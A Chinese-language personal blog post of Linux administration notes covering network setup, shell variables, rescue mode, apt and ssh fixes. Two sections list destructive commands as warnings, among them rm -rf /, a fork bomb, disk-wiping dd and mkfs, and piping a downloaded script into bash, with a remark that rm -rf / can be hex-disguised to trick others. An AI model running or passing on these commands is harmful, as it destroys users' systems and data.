Linux实践记事

1.CentOS最小化安装无法上网

centOS最小化安装之后无法联网重置多次后,装了一个带桌面环境的,发现,需要手动打开网络连接。于是,我感觉应该是,最小化安装后也应该使用命令行激活网络连接

  • 通过搜索
    找到启动和禁用网卡的有关指令为
    ifup、ifdown以及ifconfig但是并不能用,提示找不到命令
  • 再次搜索
    找到手动打开网卡的方法
    百度经验
    • 首先查看本机是否分配IPip addr:其中2为本机网卡名称
    • 进入网卡配置文件目录
      cd /etc/sysconfig/network-scripts/
    • 查看网卡文件,找到对应网卡
    • 编辑网卡文件vi ifcfg-[name]
    • 找到ONBOOT=no改为yes
    • 执行service network restart重启网卡服务
    • 再次执行ip addr查看是否分配了ip,若分配即为成功
  • 至于ifconfig命令
    • 执行yum provides ifconfig查找哪个包提供了ifconfig命令,可以看到是net-tools-XXXXXXXXXXXXX包提供了ifconfig包
    • 执行yum install net-tools安装该包
    • 再次执行ifconfig发现可用

2. sudo cd ?

  • 使用sudo cd提示找不到此命令
  • 通过type cd可以看到cd为shell内建(buildin)命令,也就是说cd是shell(默认为bash)提供的操作,不是系统自带的

确实,无论是在bin还是sbin中都没有cd命令

  • 什么是sudo?
    • 是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具
    • 这里边的命令就是指在sbin中的

3. 关于Shell脚本执行权限

shell脚本需要rx的权限才能执行

4. 彻底卸载软件

apt-get --purge remove
apt-get autoclean删除过期的软件包

5. 自爆

  1. rm -rf /可以转化成16进制的迷惑别人
  2. mkfs.ext3 /dev/sda对指定磁盘进行格式
  3. :(){ :|:& };:循环执行
  4. echo uSB > /dev/sda使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
  5. mv /home/yourhomedirectory/* /dev/null 把主目录删了
  6. chmod 777 -R /权限设置混乱
  7. dd if=/dev/zero of=/dev/sda bs=1K count=100 用0填充MBR和磁盘分区表

6. 文件格式转换

Windows(DOS)下和Linux下的换行字符不同,可通过dos2unix进行转换

7. touch更新时间戳

  • touch用来创建一个空文件(前提是没有这个文件时),如果已经有同名文件的话,仅更新时间戳
  • 可以根据这一特性,实现差异化自动备份?

8. find和cpio

find常用格式find 路径 -name 文件名
cpio通过管道备份find /etc -name *.conf | cpio -cov > /tmp/confi.cpio;还原:cpio --absolute-filename -icvu < /tmp/conf.cpio

9. unmount

unmount命令用来卸载挂载的设备,unmount 原始设备unmount 挂载点的效果是一样的,都是卸载同一个设备

10. shell特殊符号

变量名 含义
$0 shell或shell脚本的名字
$* 以一对双引号给出参数列表
$@ 将各个参数分别加双引号返回
$# 参数的个数
$_ 代表上一个命令的最后一个参数
$$ 代表所在命令的PID
$! 代表最后执行的后台命令的PID
$? 代表上一个命令执行后的退出状态

11. 查看pid和该进程的环境变量

  1. 查看pidpgrep 进程名
  2. 查看环境变量cat /proc/YourPID/environ

环境变量返回的值以name=value描述,每个变量之间有null间隔(\0)
为了好看cat /proc/YourPID/environ | tr '\0' '\n'

  1. 对于某些环境变量的修改,一定要保留原有的值,比如PATHPATH="$PATH:Your_PATH"

12. ssh 报Permission denied (publickey).

  • 根据报错可以判断是没有公钥

  • 但是我这个SSH服务并没有建立公钥,所以是登录权限的问题

  • 在配置文件中修改**PasswordAuthentication **

    PasswordAuthentication yes #允许通过密码认证

13. AMP环境配置好后php的mysql函数未定义

  • Apache没有正确重启(可能是个别版本的问题)
  • 先stop,再start,不要直接restart

14. 配置网卡

  • 网卡配置文件:/etc/network.interfaces
  • 重启网卡:# /etc/init.d/networking restart
  • 打开数据包路由转发功能:修改sysctl.conf文件,将net.ipv4.ip_forward = 1注释取消
  • 设置转发规则:iptables -t nat -A POSTROUTING -s 接收地址 -o 要转到的接口 -j MASQUERADE

Ubuntu17之后使用netplan代替了原有的interfaces:配置文件存放在/etc/netplan/*.yaml冒号之后要有一个空格 ),配置完之后使用netplan apply生效

# 静态IP
network:
  version: 2
  renderer: NetworkManager
  ethernets:
     enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
       dhcp4: no #dhcp4关闭
       addresses: [192.168.202.36/24] #设置本机IP及掩码
       gateway4: 192.168.202.1 #设置网关
       nameservers:
         addresses: [192.168.202.1] #设置DNS

# 动态IP
network:
  version: 2
  renderer: NetworkManager
  ethernets:
     enp3s0: #配置的网卡名称,使用ifconfig -a查看得到
       dhcp4: true #dhcp4开启
       addresses: [] #设置本机IP及掩码,空
       optional: true
  • ifconfig 临时配置网卡
# 配置 IP 地址和掩码
$ ifconfig eth0 192.168.16.234 netmask 255.255.255.0

#设置网关
$ route add default gw 192.168.16.1
  • ifconfig设置网卡混杂模式
# 设置混杂模式
ifconfig ens32 promisc
# 取消混杂模式
ifconfig ens32 -promisc

15. msf对PostgreSQL数据库的密码

  • /opt/metasploit/properties.ini

16. 查看版本

  • cat /proc/version
  • uname -a
  • lsb_release -a
  • cat /etc/issue

17. bash 相关

  1. 变量的设定规则:
    2. 设定变量通过=来连接,=左右不能有空格
    3. 变量名只能是英文开头
    4. 如果变量内容需要引号括起来,单引号双引号是有区别的
    5. 双引号中的转义符,就是转义后的特性
    6. 单引号中的转义字符,只是单纯的字符
    7. 特殊字符使用\来转换为一般字符
    8. 使用"括起来的命令会先执行,等价于$()
    9. 定义数组:var[index]=content
  2. 给原有变量添加值时,需要引用原有变量,再加具体内容var=$var"NewVar"
  3. 变量有两种类型:普通字符串、整数
    11. 使用declare [-axir] variable命令设置变量类型
    > a:定义为数组
    > x:设置为环境变量
    >i:设置为整形
    >r:设置为只读
    >后面不接变量:表示显示相应类型的变量,类型缺省则为全部变量
  4. 删除变量:unset 变量名
  5. 查看变量:
    10. echo $变量名
    11. env查询环境变量
    12. set查询shell的变量(私有变量和用户变量)
    13. export导出用户shell变量

18. 救援模式(单用户模式) & 紧急模式

以Ubuntu18 为例:

  • 紧急模式:在紧急模式中不启动任何东西,没有服务启动、没有挂载点、没有套接字,只有一个原始的shell。紧急模式适用于调试目的。
  • 救援模式:相当于使用SysV 作为服务管理器的Linux发行版中的 单用户模式。在救援模式下,将挂载所有本地文件系统,启动一些重要服务。

进入救援模式:

方法一:

  1. 在Grub菜单中编辑Ubuntu启动选项
  2. linux开头的一行中,末尾追加systemd.unit=rescue.target
  3. 保存启动即可

方法二:

  1. 在Grub的Advanced options for Ubuntu选项中找到(recovery mode)
  2. e编辑,在linux开头的一行末端,将ro recovery nomodeset改为rw single init=/bin/bash

方法三:

  1. 启动时选择recovery mode
  2. 在Recovery Menu中选择Root Drop to root shell prompt

进入紧急模式

  1. 在Grub菜单中编辑Ubuntu启动选项
  2. linux开头的一行中,末尾追加systemd.unit=emergency.target
  3. 保存启动即可

修改密码

  1. 挂载主分区mount /dev/sda1 /mnt
  2. 切换到主分区chroot /mnt
  3. 修改密码passwd
  4. 退出临时分区exit
  5. 卸载挂载的分区umount /mnt
  6. 重启!

将文件系统重新挂载成读/写模式:mount -n -o remount,rw /

关于无法进入grub的情况

双系统情况下默认会显示Grub选择菜单,但是单Ubuntu主机可能会自动跳过Grub菜单。
解决方案:启动过程中按住Shift键即可。

关于救援模式和紧急模式:

  • 救援模式相当于使用 SysV 作为默认的服务管理器的 Linux 发行版中的单用户模式。在救援模式下,将挂载所有本地文件系统,仅启动一些重要服务,但是,不会启动正常服务(例如网络服务)。
  • 紧急模式中不启动任何东西。没有服务启动、没有挂载点、没有建立套接字,什么也没有,你所拥有的只是一个原始的 shell。紧急模式适用于调试目的。

19. 网桥相关

  • 相关软件:安装bridge-utils

  • 查看网桥信息brctl show

  • route命令解释,route命令运行后会显示如下表格,每一行为每一个路由规则,如果Gateway一栏为*,则将数据包发送给Iface对应接口
    |Destination|Gateway|Genmask|Flags|Metric|Ref|Use|Iface|
    |--------|-------|-------|-------|-------|-------|-------|-------|
    |default|10.0.2.2|0.0.0.0|UG|0|0|0|eth0|
    |10.0.2.0||255.255.255.0|U|0|0|0|eth0|
    |172.17.0.0|
    |255.255.0.0|U|0|0|0|docker0|

  • 通过ethtool -S vethXXXXXX 可以查看到docker申请的虚拟设备对应的接口序号

  • 在docker容器中可以通过ip link查看到对应接口序号所指向的设备

20. 打不开图形化(登录后又提示登录)

Ctrl + Alt + F7或者在终端下输入init 5进入图形化
查看.Xauthority文件是否存在并赋权
.Xauthority 文件的位置 如果是root用户登入文件在 /root 目录下,如果是其他用户 文件 位置 /home/XXX/.Xauthority

cd ~
ls -al # 查看Xauthority是否存在
startx # 会自动生成Xauthority文件
sudo chown root:root .Xauthority # 将该文件赋予用户

21. 清除过期的ssh公钥

ssh-keygen -R 指定目标

22. 憨批操作

  1. rm -rf不多说
  2. :(){:|:&};:fork炸弹
  3. 命令 > /dev/sda将输出重定向到sda中,导致sda中数据丢失
  4. mv 文件(夹) /dev/null删除
  5. wget(curl) 恶意网址 | bash从恶意网址上下载bash脚本并执行(网址上托管纯文本就行)
  6. mkfs.ext3 /dev/sda格式化
  7. > 文件清空指定文件
  8. dd if=/dev/random of=/dev/sda将垃圾数据覆写入sda

23. Ubuntu安装指定版本软件

  • sudo apt-get install openssh-client=1:6.6p1-2ubuntu1安装的是 1:6.6p1-2ubuntu1 的 openssh-client
  • sudo apt-cache madison openssh-client列出仓库中openssh-client的版本

24. 检查端口和进程

  • 检查端口对应的程序:lsof -i:端口号
  • 检查程序执行目录:pwdx <PID>

25. apt update 提示NO_PUBKEY

使用apt update时报错如下:

Fetched 22.0 MB in 4s (4,802 kB/s)
Reading package lists... Done
Building dependency tree
Reading state information... Done
378 packages can be upgraded. Run 'apt list --upgradable' to see them.
W: GPG error: http://security.debian.org buster/updates InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AA8E81B4331F7F50 NO_PUBKEY 112695A0E562B32A

解决方案:(Debian和ubuntu都可以使用ubuntu的证书服务器)
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys AA8E81B4331F7F50

26. sudo报错

使用sudo报错:sudo: sorry, you must have a tty to run sudo
编辑/etc/sudoers文件,注释掉Default requiretty

27. ln命令

  • 不加参数的就是 硬链接
  • 硬链接就是同一个文件使用了多个别名,只有当文件存在时才可创建硬链接
  • 软链接与硬链接不同,若文件用户数据块中存放的内容是另一文件的路径名的指向,则该文件就是软连接。

28. %U

比如一个图标应用,名称为fd.desktop
文件内容里写
exec=fdisk %u
当你使用
fd.desktop -l的时候,相当于fdisk -l

29. VMware无法使用独立显卡启动

错误提示:"$BINDIR"/vmware-modconfig --appname="VMware Workstation" --icon="vmware-workstation"
Arch给出的原因是,Intel微码版本过老
Debian没有新的

30. Ubuntu18.04网络

18.04 启用了新的方法配置网络——netplan
使用networkctl查看网卡
配置文件嘛……懒得打了

31. dpkg lock

E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable)

有其他程序在占用apt
通过 ps afx|grep apt 找到正在使用的进程,将其杀掉
释放被锁定文件

$ sudo rm /var/lib/dpkg/lock
$ sudo dpkg --configure -a
$ sudo apt update

32. ssh 报Permission denied (publickey).

  • 根据报错可以判断是没有公钥

  • 但是我这个SSH服务并没有建立公钥,所以是登录权限的问题

  • 在配置文件中修改**PasswordAuthentication **

    PasswordAuthentication yes #允许通过密码认证

posted @ 2020-09-26 19:25  掉到鱼缸里的猫  阅读(320)  评论(0编辑  收藏  举报